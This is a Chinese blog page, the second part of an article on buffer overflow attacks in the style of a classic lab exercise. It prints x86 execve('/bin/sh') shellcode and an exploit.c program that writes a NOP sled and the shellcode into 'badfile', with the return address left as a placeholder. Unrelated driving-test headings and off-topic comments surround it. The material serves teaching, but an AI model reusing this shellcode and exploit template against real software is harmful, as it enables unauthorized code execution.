b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

缓冲区溢出拿服务器_缓冲区溢出本质原因_缓冲区溢出攻击(2)

电脑杂谈  发布时间:2017-02-06 06:41:07  来源:网络整理

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = ‘‘/bin/sh’’;
    name[1] = NULL;
    execve(name[0], name, NULL);
}

将这段代码编译到汇编代码,作为shellcode。

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

再编写C程序,将这段代码写入文件中。

//exploit.c
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
    "\x31\xc0"    //xorl %eax,%eax
    "\x50"        //pushl %eax
    "\x68""//sh"  //pushl $0x68732f2f
    "\x68""/bin"  //pushl $0x6e69622f
    "\x89\xe3"    //movl %esp,%ebx
    "\x50"        //pushl %eax
    "\x53"        //pushl %ebx
    "\x89\xe1"    //movl %esp,%ecx
    "\x99"        //cdq
    "\xb0\x0b"    //movb $0x0b,%al
    "\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
    strcpy(buffer+0x100, shellcode);
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

缓冲区溢出拿服务器_缓冲区溢出本质原因_缓冲区溢出攻击

代码中x??的部分填写shellcode保存在内存中的地址。这段代码精确实现了覆盖掉函数返回地址的效果。前面的x90为汇编指令的nop,不产生任何效果。程序执行到x??的位置时,将这一段数字当作返回地址,跳转到shellcode中,继续执行的代码不是正常返回后的代码,而是shellcode中的代码。那么现在我们的任务就是找到stack程序中shellcode的地址。


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-30831-2.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    • 星村真姬那
      星村真姬那

      可怜了我父母攒钱攒了一辈子到头来

    • 王印杰
      王印杰

      癌症咋了

    • 齐乙公
      齐乙公

      因为我们现在还打不过老美

      • 向晗
        向晗

        这人唱歌真是非常一般

    热点图片
    拼命载入中...